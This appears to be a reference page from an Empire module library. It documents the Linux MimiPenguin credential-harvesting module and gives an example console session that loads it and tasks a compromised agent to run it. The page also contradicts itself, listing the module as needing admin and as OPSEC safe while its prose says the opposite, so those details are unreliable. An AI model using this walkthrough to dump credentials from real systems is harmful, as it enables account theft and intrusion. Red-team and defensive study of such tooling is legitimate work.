Linux MimiPenguin - Empire Module


This page contains detailed information about how to use the python/collection/linux/mimipenguin Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Linux MimiPenguin
Module: python/collection/linux/mimipenguin
Source code: empire/server/modules/python/collection/linux/mimipenguin.yaml
MITRE ATT&CK: T1003, S0179
Language: Python
Needs admin: Yes
OPSEC safe: Yes
Background: No

Port of huntergregal mimipenguin. Harvest's current user's cleartext credentials.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the mimipenguin module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the mimipenguin module:

Agent
Agent to execute module on.

Mimipenguin Example Usage

Here's an example of how to use the mimipenguin module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/mimipenguin

 Author       @rvrsh3ll                                                            
 Background   False                                                                
 Description  Port of huntergregal mimipenguin. Harvest's current user's cleartext 
              credentials.                                                         
 Language     python                                                               
 Name         python/collection/linux/mimipenguin                                  
 NeedsAdmin   True                                                                 
 OpsecSafe    True                                                                 
 Software     http://attack.mitre.org/software/S0179                               
 Techniques   http://attack.mitre.org/techniques/T1003                             


,Record Options-,----------,-----------------------------,
| Name  | Value | Required | Description                 |
|-------|-------|----------|-----------------------------|
| Agent |       | True     | Agent to execute module on. |
'-------'-------'----------'-----------------------------'

(Empire: usemodule/python/collection/linux/mimipenguin) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/mimipenguin) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.